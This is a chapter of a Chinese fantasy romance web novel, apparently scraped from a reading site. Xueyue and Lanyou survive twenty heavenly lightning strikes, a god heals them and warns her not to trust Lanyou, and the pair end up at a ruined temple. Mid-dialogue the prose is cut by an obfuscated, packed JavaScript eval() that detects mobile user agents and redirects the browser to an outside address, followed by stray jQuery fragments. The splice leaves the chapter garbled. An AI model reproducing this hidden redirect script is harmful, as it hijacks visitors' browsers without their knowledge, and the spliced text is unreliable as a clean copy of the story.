默认冷灰
24号文字
方正启体

49. 王侯棋局(终)

作者:莫不是云间客本书字数:K更新时间:
    天道最直接的惩罚是降下天雷。


    天雷,元婴修士也不过堪堪扛下七八道便修为尽失、魂飞魄散。而篡改天命乃大忌,少则七道,多则十三道。


    雪月并不知道自己即将迎来多少道神罚,已然做好了魂飞魄散的准备。


    她诚心叩首,没有向任何人告别,没有留下任何遗言,只孤身跪在山巅,独自面对一切。


    死了也好,死了就再也不用纠结所谓道,所谓“灾灵”,所谓命运。一切的一切,就这样归尘也好。


    天色骤然昏黑,北边传来轰隆震响,从九天之上劈下一道猛烈的的雷电,直直降在她头顶。


    她撑起护盾,不过是杯水车薪,巨大的电流在她经脉中窜动,心脏处像插了千万根针,每一下都刺得又深又狠。


    她忍不住叫出声来,这种痛楚是先前所有刑罚都无法企及的。


    第一道天雷落下,她还没来得及喘息片刻,第二道便接踵而至。


    雪月后仰跌落于地,双掌仓促间撑地借力,腰身悬空,姿态狼狈僵持。


    第三道雷法就要降下,她痛得抬不起手,眼睁睁看着天空炸出的雷电朝自己越来越近。就当要劈到身上时,眼前陡然间出现一个蓝色的身影,他高抬掌,撑出护盾,扛下了这一击。


    第四道、第五道,他都为她扛下。


    雪月涌出眼泪,看着他痛得肩膀抽动,更是鼻头酸得不行,胸中闷得像是被什么紧紧缠绕,又像被反复鞭策千万次。


    “蓝幽。”


    她眼眶通红,跪着爬到他身前,看到了他的脸。他的眉头皱得紧,目光似霜,施法的手青筋暴起,一道又一道的雷电被他引到自己身上。


    雪月抬头望向即将劈来的天雷,又慌乱看他,她猛地朝他摇头,崩溃道:“此事因我一人而起,不关你的事,你快些走。”


    “雪月。”他说话时咬紧牙关,格外吃力,“天雷是会死人的。”


    她不知道该作何回复,心中又闷又痛,还带着点反刍的幸福与归属感。


    幸好大道不孤,幸好有人相陪。


    一滴豆大的泪珠划过脸颊,雪月颤颤起身,施法撑起护盾。雷电流过她全身,她跌落在他怀中,他的胸膛冰冷,一如当年。


    蓝幽将她紧紧箍在怀中,正在施法的右掌加大了力度,护盾变得更为坚牢,但仍有五成雷电穿过它攻向两人。


    他低头看了她一眼,像是在确定她的安危。


    雪月仰头看着他的侧脸,眼泪像断了线的珍珠,像流不尽的泉源,湿透了衣衫。她靠在他颈窝,身子抖得厉害,声音是无比的沙哑与低沉。


    “蓝幽,对不起,对不起……”


    “别怕。”蓝幽声音沉闷,带着少见的温柔,“我在。”


    雪月艰难地扯动嘴角,她抬手覆在他手背,两人一同撑起护盾,一齐承担天罚。


    谢谢你,谢谢你,谢谢你……


    她心中默念了无数遍。


    幸好还有你,还有你陪着我。


    谢谢你。


    天雷劈了足足十五道都未结束,两人却早就被折腾得使不上法力,非但身上血迹斑驳,魂魄都被雷电震得漂浮不稳。


    雪月想用“灾灵”,但守城时耗量太大,且反噬已深,饶她如何努力都使不出来。


    “蓝幽,蓝幽,蓝幽……”她不顾一切地抱住他,反复呼唤着他的名字,像是在说某种令自己心安的咒语。


    “嗯。”他低头回应,“我在。”


    两人狼狈地窝在一起,等待一道又一道的雷罚降落在头顶。


    蓝幽将她抱得极紧,好似这样就能尽可能地分摊绝大部分的伤害。实则不然,电流在两人身上窜动,遍遍如凌迟割肉。


    雪月指尖攥着衣袖,咬住牙关逼自己忍受,却在雷劫降下之时彻底失了防备,下意识呜咽发出痛呼。


    蓝幽抱得更紧,硌得她肋骨生疼,她埋在他胸前,身躯在受刑时剧烈颤动。还好鼻尖的冷檀香气与他的心跳声,能勉强分散她的注意力,从而稍稍纾解痛苦。


    当第二十道天雷劈完,乌云消散,天空终于迎来日光。


    两个人蜷缩在地,相互依偎求生。


    雪月意识渐消,视野里只剩下他喘着粗气的的样子。她垂眸,胡乱寻找着他的手,与他十指相扣。


    他怔然的眼神是她意识里最后一道风景。


    此生能与君同死,何不失为一种幸福?


    她悄然闭眸,周遭变得安静,再也听不到任何嘈杂声响。


    ——


    雪月以为自己死了,然而并没有。


    她睁开眼时,正身处一个极为陌生的房间。


    不是宗门之内,也不是竹林居。


    她半卧在床上,天雷留下的伤痛全无,全身舒畅无比,如遭仙露净身,充满灵气和宁静。


    此间风雅简朴,沉香黯然,采光极好。


    床案上已为她置办好新衣,她起身穿上,推门出了房间。


    门外长廊之下,伫立着一个特殊的男人。


    他玉冠华服,面若玉雕,只静立在侧,便足以叫人屏息凝神。偏偏生得又好,长眉入鬓含冷光,目若流水藏星辰,鼻挺唇薄,身姿绰约,一派仙人之姿。


    雪月走上前躬身作揖,恭敬道:“拜见上神。”


    “不必客气,叫我萧蘅就好。”他面向雪月,眼底柔色如暖波。


    “多谢萧蘅上神救命之恩。”


    见她如此疏离,萧蘅愣了片刻,敛神道:“雪月,你可知你私自插手人间事宜,造成了多大的影响?”


    他背过身,负手而立。


    “大势所向,镇国公本可吞并临安,借此称王、执掌半壁。因你横加阻拦,此战损耗惨重,临安未克,威名尽丧、民心尽失。半年后将为宁远侯所擒,一念之差,江山易主。”


    “镇国公残暴不仁,视人命为草芥,本就不该称王。”雪月力争道,“我心向宁远侯,唯他即位,天下才可太平。”


    萧蘅转身瞥了他一眼,那一眼意味深长。


    “即使受了二十道天雷,你也不觉得自己错了吗?”


    他长叹口气,继续说道:“你可知,哪怕诸神大罪,也只需承受十五道雷劫。当然,没人能扛过十五道天雷。若非得那个男人相助,你早就魂飞魄散了。”


    雪月指尖抑制不住地颤抖,极力扼住失控的情绪,道:“敢问上神,蓝幽安在否?”


    “蓝幽。”他重复了一遍这个名字,“我已将他救治,现在东厢房第三间。”


    雪月俯身叩首:“萧蘅上神大恩,我永生难忘。”


    萧蘅面露惊愕,急忙将她扶起:“你这是做什么?”


    她摇头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525383|203464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“恕我不能久陪。”


    雪月转身朝东厢房奔去,一间一间数着,来到第三间大门前,心跳得乱七八糟,眼眶不知何时变得通红。


    她深吸口气,推门入了里屋,看见了半卧在床上的蓝幽。


    他着一身素白中衣,侧头看着窗外风景,日光打在他苍白脸上显得些许落寞。听到动静,他缓缓回首与她对望,忽而舒眉浅笑。


    雪月只觉他此时的样子实在动人,比什么虚旻上神、萧蘅上神,不管什么神,都更有神性。


    “你来了。”他声音哑的厉害。


    听到他的声音,她再也绷不住,一股脑扑进他怀中。她贪婪地吸食着他身上的冷香,身子止不住地颤抖。


    “蓝幽,蓝幽,蓝幽……”


    他身子一僵,很快舒展,抬手在她背上轻拍,每一下都像是在回应。


    “蓝幽,对不起,将你牵扯进来。”她在他怀中动了动,翘起的发丝在他下巴蹭得发痒,“我知道这件事我做的不对,但是我不后悔。我唯一后悔的便是让你同我一起受刑……”


    “谢谢你,谢谢你一直陪着我。”


    她吸了吸鼻涕,从哽咽变成放声大哭。


    蓝幽什么都没说,只是低头看着她的脑袋,看着她在自己怀中抽动、呜咽,感受着那点温热的泪浸透衣衫贴近肌肤。


    他的心跳快了。


    二人出门时,萧蘅上神似乎在外站了很久,雪月有些尴尬地避开了他的目光。


    萧蘅打量着蓝幽,从头到尾,看得极为仔细,目光意味深长,甚至眉间似乎展现出不满。


    他终于开口:“我送你们出去吧。”


    “劳烦上神了。”她道。


    二人跟着他绕了半天才到大门口,这个府邸非但构造奇特,还充满着一种奇绝的气息。不过作为神居,倒也正常。


    雪月领着蓝幽朝他作揖谢别,萧蘅却忽然叫住了她。


    “雪月。”


    她闻言转身,却听见他轻声道:“别信他。”


    雪月懵懂地眨眨眼,看了眼满脸淡然的蓝幽,又看了眼目光诡异的萧蘅。


    她不知他言出何意,更不懂他竟然当着蓝幽的面说这句话,太失礼了吧。更何况她同蓝幽相识已久,对方舍命为她抗天雷。至于萧蘅,不过一面之缘,该信谁她心中自有答案。


    萧蘅轻笑一声:“没什么,快些回去吧。”


    两人出了宅邸。


    外面昏沉如墨,已是戌时。夜色沉凝可怖,沉沉夜幕与府内明暖白昼,判若两界。


    她再回头看一眼,那个阔绰的府邸不知何时消失了,只剩下一片荒芜。


    雪月不禁疑惑地看了眼蓝幽,对方似乎并不在意,目光沉静如水,自在前行。


    “蓝幽,这里好黑啊。”她四处观望,扯着他的衣袖,走得极慢,“这不是先前那个山头,偏僻更甚。”


    蓝幽任她扯着,掌心变出一团火光引路:“先寻个地方过夜吧。”


    雪月点头。


    没多久,二人就看到一处苍凉破庙,牌匾因风吹日晒,早就看不清字眼。那门更是破烂,一推则发出“嘎吱”的巨响,瘆人得很。


    里面陈设简单,不过几个香台、供桌,但堂上立着的一尊巨大的石像尤为吸睛。不过历时已久,加之灰尘覆盖,石像也模糊不清,看不出原貌。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)